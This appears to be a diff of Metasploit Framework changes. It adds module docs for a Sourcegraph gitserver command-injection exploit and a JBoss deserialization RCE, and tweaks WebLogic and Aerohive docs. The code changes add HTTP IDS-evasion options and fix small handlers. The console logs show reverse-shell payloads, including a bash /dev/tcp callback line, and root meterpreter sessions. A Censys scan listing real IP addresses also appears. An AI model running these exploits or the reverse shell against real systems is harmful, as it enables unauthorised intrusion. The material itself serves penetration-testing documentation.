[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN
|
||||
[+] 2.23.14.212 - 21/FTP
|
||||
[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
[+] 2.23.14.218 - 21/FTP
|
||||
[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
[+] 2.23.14.235 - 21/FTP
|
||||
[+] 2.23.14.243 - 21/FTP
|
||||
...
|
||||
|
||||
```
|
||||
|
||||
### IPv4 Search
|
||||
msf6 auxiliary(gather/censys_search) > services
|
||||
Services
|
||||
========
|
||||
|
||||
```
|
||||
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||
CENSYS_DORK => rapid7
|
||||
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4
|
||||
CENSYS_SEARCHTYPE => ipv4
|
||||
[*] 197.117.5.36 - 443/https
|
||||
[*] 208.118.237.81 - 443/https
|
||||
[*] 206.19.237.19 - 443/https
|
||||
[*] 54.214.49.70 - 80/http,443/https
|
||||
[*] 208.118.237.241 - 443/https
|
||||
[*] 162.220.246.141 - 443/https,22/ssh,80/http
|
||||
[*] 31.214.157.19 - 443/https,22/ssh
|
||||
[*] 52.88.1.225 - 443/https,22/ssh
|
||||
[*] 208.118.227.12 - 25/smtp
|
||||
[*] 38.107.201.41 - 443/https
|
||||
[*] 52.44.56.126 - 80/http,443/https
|
||||
[*] 52.54.227.6 - 443/https,80/http
|
||||
[*] 23.217.253.242 - 443/https,80/http
|
||||
[*] 96.6.3.45 - 80/http,443/https
|
||||
[*] 23.6.73.47 - 443/https,80/http
|
||||
[*] 23.78.99.243 - 80/http,443/https
|
||||
[*] 23.53.51.170 - 80/http,443/https
|
||||
[*] 23.62.201.47 - 443/https,80/http
|
||||
[*] 2.23.50.157 - 443/https,80/http
|
||||
[*] 118.215.191.13 - 80/http,443/https
|
||||
[*] 2.19.185.28 - 80/http,443/https
|
||||
[*] 2.18.195.99 - 443/https,80/http
|
||||
[*] 23.197.196.25 - 443/https,80/http
|
||||
[*] 95.100.104.181 - 443/https,80/http
|
||||
[*] 2.20.37.130 - 80/http,443/https
|
||||
[*] 23.194.237.34 - 443/https,80/http
|
||||
[*] 2.17.140.86 - 443/https,80/http
|
||||
[*] 64.125.235.5 - 25/smtp
|
||||
[*] 208.118.227.32 - 80/http
|
||||
[*] 2.21.129.149 - 80/http,443/https
|
||||
[*] 2.20.167.33 - 80/http,443/https
|
||||
[*] 95.100.139.218 - 80/http,443/https
|
||||
[*] 23.38.88.202 - 443/https,80/http
|
||||
[*] 2.17.184.80 - 443/https,80/http
|
||||
[*] 23.59.119.23 - 80/http,443/https
|
||||
[*] 2.16.14.225 - 443/https,80/http
|
||||
[*] 104.113.122.33 - 443/https,80/http
|
||||
[*] 23.223.44.164 - 80/http,443/https
|
||||
[*] 88.221.120.214 - 443/https,80/http
|
||||
[*] 23.47.36.145 - 443/https,80/http
|
||||
[*] 2.23.21.254 - 80/http,443/https
|
||||
[*] 208.118.237.39 - 443/https
|
||||
[*] 208.118.237.40 - 443/https
|
||||
[*] 208.118.237.41 - 443/https
|
||||
[*] 23.54.217.47 - 80/http,443/https
|
||||
[*] 96.17.254.188 - 443/https,80/http
|
||||
[*] 184.25.129.65 - 443/https,80/http
|
||||
[*] 104.121.167.123 - 443/https,80/http
|
||||
[*] 104.94.110.63 - 443/https,80/http
|
||||
[*] 104.91.11.216 - 80/http,443/https
|
||||
[*] 23.38.233.47 - 80/http,443/https
|
||||
[*] 52.86.110.89 - 80/http,443/https
|
||||
[*] 69.192.73.47 - 443/https,80/http
|
||||
[*] 184.86.57.47 - 443/https,80/http
|
||||
[*] 104.86.45.180 - 443/https,80/http
|
||||
[*] 184.87.72.153 - 80/http,443/https
|
||||
[*] 23.66.25.47 - 80/http,443/https
|
||||
[*] 23.56.162.76 - 80/http,443/https
|
||||
[*] 184.87.133.242 - 443/https,80/http
|
||||
[*] 23.55.74.28 - 80/http,443/https
|
||||
[*] 23.6.225.84 - 80/http,443/https
|
||||
[*] 23.46.133.153 - 443/https,80/http
|
||||
[*] 23.10.121.47 - 443/https,80/http
|
||||
[*] 104.109.35.169 - 80/http,443/https
|
||||
[*] 172.227.101.182 - 80/http,443/https
|
||||
[*] 184.27.23.104 - 80/http,443/https
|
||||
[*] 23.49.185.47 - 80/http,443/https
|
||||
[*] 23.67.172.177 - 80/http,443/https
|
||||
[*] 23.62.170.161 - 443/https,80/http
|
||||
[*] 23.219.71.35 - 443/https,80/http
|
||||
[*] 104.82.94.233 - 443/https,80/http
|
||||
[*] 184.26.73.47 - 80/http,443/https
|
||||
[*] 104.68.108.237 - 80/http,443/https
|
||||
[*] 23.60.39.77 - 80/http,443/https
|
||||
[*] 23.66.100.92 - 80/http,443/https
|
||||
[*] 23.61.28.182 - 443/https,80/http
|
||||
[*] 23.42.116.233 - 80/http,443/https
|
||||
[*] 104.105.14.197 - 80/http,443/https
|
||||
[*] 104.103.203.240 - 80/http,443/https
|
||||
[*] 104.65.57.235 - 80/http,443/https
|
||||
[*] 23.41.83.224 - 80/http,443/https
|
||||
[*] 184.51.185.47 - 80/http,443/https
|
||||
[*] 23.67.231.142 - 80/http,443/https
|
||||
[*] 208.118.237.38 - 443/https
|
||||
[*] 104.76.25.28 - 80/http,443/https
|
||||
[*] 23.196.125.176 - 443/https,80/http
|
||||
[*] 23.40.154.224 - 80/http,443/https
|
||||
[*] 23.77.33.204 - 443/https,80/http
|
||||
[*] 104.88.21.48 - 80/http,443/https
|
||||
[*] 173.223.134.47 - 80/http,443/https
|
||||
[*] 23.4.98.72 - 80/http,443/https
|
||||
[*] 23.44.97.3 - 80/http,443/https
|
||||
[*] 23.203.66.142 - 443/https,80/http
|
||||
[*] 23.42.216.251 - 443/https,80/http
|
||||
[*] 23.42.85.25 - 80/http,443/https
|
||||
[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh
|
||||
[*] 104.83.219.182 - 443/https,80/http
|
||||
[*] 184.86.41.47 - 443/https,80/http
|
||||
[*] 104.97.72.196 - 443/https,80/http
|
||||
[*] 69.192.169.48 - 443/https,80/http
|
||||
```
|
||||
|
||||
### Websites Search
|
||||
|
||||
```
|
||||
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||
CENSYS_DORK => rapid7
|
||||
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites
|
||||
CENSYS_SEARCHTYPE => websites
|
||||
msf auxiliary(censys_search) > run
|
||||
|
||||
[+] rapid7.com - [37743]
|
||||
[+] logentries.com - [45346]
|
||||
[+] venturefizz.com - [106102]
|
||||
[+] gild.com - [116853]
|
||||
[+] sectools.org - [122125]
|
||||
[+] ericzhang.me - [155622]
|
||||
[+] metasploit.com - [156435]
|
||||
[+] datapipe.com - [209756]
|
||||
[+] routerpwn.com - [317896]
|
||||
[+] proxy-base.com - [507954]
|
||||
[+] config.fr - [542346]
|
||||
[+] winterwyman.com - [629471]
|
||||
[+] gogrid.com - [741009]
|
||||
[+] wesecure.nl - [997423]
|
||||
[*] Auxiliary module execution completed
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
2.19.184.189 80 tcp http open
|
||||
2.19.184.189 443 tcp http open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A
|
||||
uthority - L1K)
|
||||
2.19.184.189 21 tcp ftp open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A
|
||||
uthority - L1K)
|
||||
2.19.184.189 22 tcp ssh open
|
||||
2.19.184.214 21 tcp ftp open
|
||||
2.19.184.216 21 tcp ftp open
|
||||
2.23.14.108 21 tcp ftp open
|
||||
2.23.14.163 21 tcp ftp open
|
||||
2.23.14.163 44174 tcp unknown open
|
||||
2.23.14.163 449 tcp unknown open
|
||||
2.23.14.163 515 tcp unknown open
|
||||
2.23.14.163 4101 tcp unknown open
|
||||
2.23.14.163 4222 tcp unknown open
|
||||
2.23.14.163 44104 tcp unknown open
|
||||
2.23.14.163 44100 tcp unknown open
|
||||
2.23.14.163 44117 tcp unknown open
|
||||
2.23.14.163 44133 tcp unknown open
|
||||
2.23.14.163 44156 tcp unknown open
|
||||
2.23.14.163 44161 tcp unknown open
|
||||
2.23.14.163 44162 tcp unknown open
|
||||
2.23.14.163 44170 tcp unknown open
|
||||
2.23.14.195 45108 tcp unknown open
|
||||
2.23.14.195 45111 tcp unknown open
|
||||
2.23.14.195 45164 tcp unknown open
|
||||
2.23.14.195 45150 tcp unknown open
|
||||
2.23.14.195 45149 tcp unknown open
|
||||
2.23.14.195 21 tcp ftp open
|
||||
2.23.14.195 45117 tcp unknown open
|
||||
2.23.14.195 45110 tcp unknown open
|
||||
2.23.14.199 21 tcp ftp open
|
||||
2.23.14.201 47113 tcp unknown open
|
||||
2.23.14.201 21 tcp ftp open
|
||||
2.23.14.201 47106 tcp unknown open
|
||||
2.23.14.201 47150 tcp unknown open
|
||||
2.23.14.209 49100 tcp unknown open
|
||||
2.23.14.209 21 tcp ftp open
|
||||
2.23.14.209 49143 tcp unknown open
|
||||
2.23.14.209 49121 tcp unknown open
|
||||
2.23.14.209 49152 tcp unknown open
|
||||
2.23.14.212 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
2.23.14.218 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
2.23.14.235 21 tcp ftp open
|
||||
2.23.14.243 21 tcp ftp open
|
||||
```
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
|
||||
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
|
||||
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
|
||||
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
|
||||
commands that are able to be executed through the git exec REST API.
|
||||
|
||||
The cloned repositories can be enumerated from the `/list` endpoint using the curl command:
|
||||
`curl http://$target:3178/list?cloned=true`
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application (see detailed Docker Installation section below)
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploits/linux/http/sourcegraph_gitserver_sshcmd`
|
||||
4. Set the `RHOSTS`, `PAYLOAD` and any payload related options that are necessary
|
||||
5. Do: `run`
|
||||
|
||||
### Docker Installation
|
||||
1. Run the following command to start the all-inclusive docker container for Sourcegraph v3.36.3.
|
||||
|
||||
```
|
||||
docker run \
|
||||
--publish 3178:3178 \
|
||||
--publish 7080:7080 \
|
||||
--publish 127.0.0.1:3370:3370 \
|
||||
--rm \
|
||||
--volume /tmp/sourcegraph/config:/etc/sourcegraph \
|
||||
--volume /tmp/sourcegraph/data:/var/opt/sourcegraph \
|
||||
sourcegraph/server:3.36.3
|
||||
```
|
||||
2. Once the service has started, navigate to the webinterface at http://localhost:7080
|
||||
3. When prompted, create an administrator's account
|
||||
4. At least one git repository must be added, complete the following steps to add one.
|
||||
1. Navigate to `Repositories > Managed code hosts`
|
||||
2. Select "Generic Git host"
|
||||
3. When prompted, use the following example JSON code to clone Metasploit.
|
||||
|
||||
```
|
||||
{
|
||||
"url": "https://github.com/",
|
||||
"repos": [
|
||||
"rapid7/metasploit-framework.git"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### EXISTING_REPO
|
||||
|
||||
An existing, cloned repository. If this value is not set, a random one will be selected from the server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker v3.36.3
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/sourcegraph_gitserver_sshcmd
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command
|
||||
TARGET => Unix Command
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134
|
||||
LHOST => 192.168.250.134
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > check
|
||||
[+] 192.168.159.128:3178 - The target is vulnerable. Successfully set core.sshCommand.
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Successfully set core.sshCommand.
|
||||
[*] Using automatically identified repository: github.com/zerosteiner/gh-sandbox
|
||||
[*] Executing Unix Command target
|
||||
[*] Sending stage (40168 bytes) to 172.17.0.2
|
||||
[*] Sending stage (40168 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:59116) at 2022-07-08 17:23:15 -0400
|
||||
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 172.17.0.2:59124) at 2022-07-08 17:23:15 -0400
|
||||
|
||||
meterpreter >
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : caab8e904df4
|
||||
OS : Linux 5.17.12-100.fc34.x86_64 #1 SMP PREEMPT Mon May 30 17:47:02 UTC 2022
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,153 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a Java deserialization vulnerability in JBOSS
|
||||
EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior.
|
||||
|
||||
### Setup
|
||||
|
||||
#### Dockerfile
|
||||
```dockerfile
|
||||
FROM jboss/base-jdk:8
|
||||
|
||||
# Set the JBOSS_VERSION env variable
|
||||
ENV JBOSS_HOME /opt/jboss/jboss-as-6.1
|
||||
ENV EAP_HOME /opt/jboss/jboss-as-6.1
|
||||
|
||||
# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content
|
||||
# https://jbossas.jboss.org/downloads
|
||||
RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip
|
||||
RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \
|
||||
&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \
|
||||
&& chmod a+x $EAP_HOME/bin/*
|
||||
|
||||
# Ensure signals are forwarded to the JVM process correctly for graceful shutdown
|
||||
#ENV LAUNCH_JBOSS_IN_BACKGROUND true
|
||||
|
||||
# Enable binding to all network interfaces and debugging inside the EAP
|
||||
RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf
|
||||
|
||||
# Expose the ports we're interested in
|
||||
EXPOSE 8080 9990 4447 9999 4446 3873 4445
|
||||
|
||||
# Set the default command to run on boot
|
||||
# This will boot JBoss EAP in the standalone mode and bind to all interface
|
||||
ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"]
|
||||
```
|
||||
|
||||
#### docker-compose.yml
|
||||
|
||||
```yml
|
||||
version: "3"
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "9990:9990"
|
||||
- "4447:4447"
|
||||
- "9999:9999"
|
||||
- "4446:4446"
|
||||
- "3873:3873"
|
||||
- "4445:4445"
|
||||
networks:
|
||||
internet:
|
||||
aliases:
|
||||
- jboss-as-61
|
||||
networks:
|
||||
internet:
|
||||
driver: bridge
|
||||
```
|
||||
|
||||
```bash
|
||||
docker-compose up
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
This executes a Unix command.
|
||||
|
||||
### 1
|
||||
|
||||
This uses a Linux dropper to execute code.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### JBoss Application Server 6.1.0 from [Docker](#setup).
|
||||
|
||||
```
|
||||
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options
|
||||
|
||||
Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS localhost yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 4446 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.15 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.15:4444
|
||||
[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 127.0.0.1:4446 - The target appears to be vulnerable.
|
||||
[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash
|
||||
[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70'
|
||||
[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 00:06:09 +0200
|
||||
|
||||
id
|
||||
uid=1000(jboss) gid=1000(jboss) groups=1000(jboss)
|
||||
pwd
|
||||
/opt/jboss
|
||||
/opt/jboss/jboss-as-6.1/bin/run.sh --version
|
||||
=========================================================================
|
||||
|
||||
JBoss Bootstrap Environment
|
||||
|
||||
JBOSS_HOME: /opt/jboss/jboss-as-6.1
|
||||
|
||||
JAVA: /usr/lib/jvm/java/bin/java
|
||||
|
||||
JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64
|
||||
|
||||
CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar
|
||||
|
||||
=========================================================================
|
||||
|
||||
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0
|
||||
JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816)
|
||||
|
||||
Distributable under LGPL license.
|
||||
See terms of license at gnu.org.
|
||||
|
||||
exit
|
||||
[*] 127.0.0.1 - Command shell session 1 closed.
|
||||
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) >
|
||||
```
|
||||
+14
-4
@@ -1,8 +1,14 @@
|
||||
## Vulnerable Application
|
||||
|
||||
CVE-2017-10271 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component. The exploit provides an unauthenticated attacker with remote arbitrary command execution.
|
||||
CVE-2019-2725 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component.
|
||||
The exploit provides an unauthenticated attacker with remote arbitrary command execution.
|
||||
|
||||
Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments. It is downloadable from Oracle once registered for an account. For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`), Weblogic 10.3.6 for Windows (`wls1036_dev.zip`). For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`) in combination with a JDK (`jdk-8u211-windows-x64.exe`).
|
||||
Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments.
|
||||
It is downloadable from Oracle once registered for an account.
|
||||
For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`),
|
||||
Weblogic 10.3.6 for Windows (`wls1036_dev.zip`).
|
||||
For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`)
|
||||
in combination with a JDK (`jdk-8u211-windows-x64.exe`).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -13,7 +19,10 @@ Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environ
|
||||
3. When prompted, use a development environment instead of a production environment.
|
||||
4. When prompted, keep the default port of TCP/7001.
|
||||
5. When prompted, provide a username and password, and make a note of them.
|
||||
6. Upon completion of the installer, find and execute the admin server. On Windows: `C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`. On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh`
|
||||
6. Upon completion of the installer, find and execute the admin server.
|
||||
On Windows:
|
||||
`C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`.
|
||||
On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh`
|
||||
7. You may be prompted for the username and password you generated during the install process.
|
||||
8. Wait for the output: `<Server state changed to RUNNING.>`
|
||||
|
||||
@@ -39,7 +48,8 @@ msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI** : Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. You can also set `VHOST` instead to handle virtual hosts.
|
||||
### TARGETURI
|
||||
Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -19,10 +19,9 @@ This request includes two POST parameters:
|
||||
2. The parameter that is used to execute commands via `/tmp/messages`.
|
||||
In our example the name would be `cmd`, but the module sets this to an arbitrary value.
|
||||
|
||||
Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open.
|
||||
Closing the session should render the app responsive again. It is also possible that enabling the meterpreter option
|
||||
'TryToFork` might prevent the application hang after exploitation, but given access constraints we were unable to verify the
|
||||
resultant behavior for enabling that option. Try at your own risk (but let us know how it goes if you do).
|
||||
Upon successful exploitation, the Aerohive NetConfig application may hang for as long as the spawned shell remains open.
|
||||
If the Linux target is selected with a meterpreter payload, the `MeterpreterTryToFork` option is likely to prevent this,
|
||||
and is therefore enabled by default. If the app does hang, closing the session should render the app responsive again.
|
||||
|
||||
The module provides an automatic cleanup option to clean the log.
|
||||
However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed,
|
||||
|
||||
@@ -117,6 +117,14 @@ module Metasploit
|
||||
# @return [Integer] How many fake post variables to insert into the request
|
||||
attr_accessor :evade_pad_post_params_count
|
||||
|
||||
# @!attribute evade_shuffle_get_params
|
||||
# @return [Boolean] Randomize order of GET parameters
|
||||
attr_accessor :evade_shuffle_get_params
|
||||
|
||||
# @!attribute evade_shuffle_post_params
|
||||
# @return [Boolean] Randomize order of POST parameters
|
||||
attr_accessor :evade_shuffle_post_params
|
||||
|
||||
# @!attribute evade_uri_fake_end
|
||||
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
|
||||
attr_accessor :evade_uri_fake_end
|
||||
@@ -327,6 +335,8 @@ module Metasploit
|
||||
'pad_get_params_count' => evade_pad_get_params_count,
|
||||
'pad_post_params' => evade_pad_post_params,
|
||||
'pad_post_params_count' => evade_pad_post_params_count,
|
||||
'shuffle_get_params' => evade_shuffle_get_params,
|
||||
'shuffle_post_params' => evade_shuffle_post_params,
|
||||
'uri_fake_end' => evade_uri_fake_end,
|
||||
'uri_fake_params_start' => evade_uri_fake_params_start,
|
||||
'header_folding' => evade_header_folding,
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.6"
|
||||
VERSION = "6.2.7"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -74,6 +74,8 @@ module Exploit::Remote::HttpClient
|
||||
OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),
|
||||
OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),
|
||||
OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),
|
||||
OptBool.new('HTTP::shuffle_get_params', [false, 'Randomize order of GET parameters', false]),
|
||||
OptBool.new('HTTP::shuffle_post_params', [false, 'Randomize order of POST parameters', false]),
|
||||
OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),
|
||||
OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),
|
||||
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])
|
||||
@@ -192,6 +194,8 @@ module Exploit::Remote::HttpClient
|
||||
'pad_get_params_count' => datastore['HTTP::pad_get_params_count'],
|
||||
'pad_post_params' => datastore['HTTP::pad_post_params'],
|
||||
'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],
|
||||
'shuffle_get_params' => datastore['HTTP::shuffle_get_params'],
|
||||
'shuffle_post_params' => datastore['HTTP::shuffle_post_params'],
|
||||
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
||||
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
||||
'header_folding' => datastore['HTTP::header_folding'],
|
||||
@@ -293,6 +297,8 @@ module Exploit::Remote::HttpClient
|
||||
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
|
||||
evade_pad_post_params: datastore['HTTP::pad_post_params'],
|
||||
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
|
||||
evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'],
|
||||
evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'],
|
||||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
|
||||
@@ -145,8 +145,12 @@ module Msf
|
||||
def default_version_string
|
||||
require 'rex/proto/ssh/connection'
|
||||
Rex::Proto::Ssh::Connection.default_options['local_version']
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
rescue LoadError => e
|
||||
print_error("This handler requires PTY access not available on all platforms.")
|
||||
print_error('ReverseSSH handler did not load as PTY access is not available on all platforms.')
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
end
|
||||
|
||||
@@ -79,7 +79,7 @@ module Msf::Post::Windows::Runas
|
||||
0, # hStdInput
|
||||
0, # hStdOutput
|
||||
0 # hStdError
|
||||
].pack('VVVVVVVVVVVVvvVVVV')
|
||||
].pack(session.arch == ARCH_X64 ? 'QQQQVVVVVVVVvvQQQQ' : 'VVVVVVVVVVVVvvVVVV')
|
||||
end
|
||||
|
||||
#
|
||||
@@ -113,7 +113,7 @@ module Msf::Post::Windows::Runas
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
session.arch == ARCH_X64 ? 24 : 16)
|
||||
if create_process['return']
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
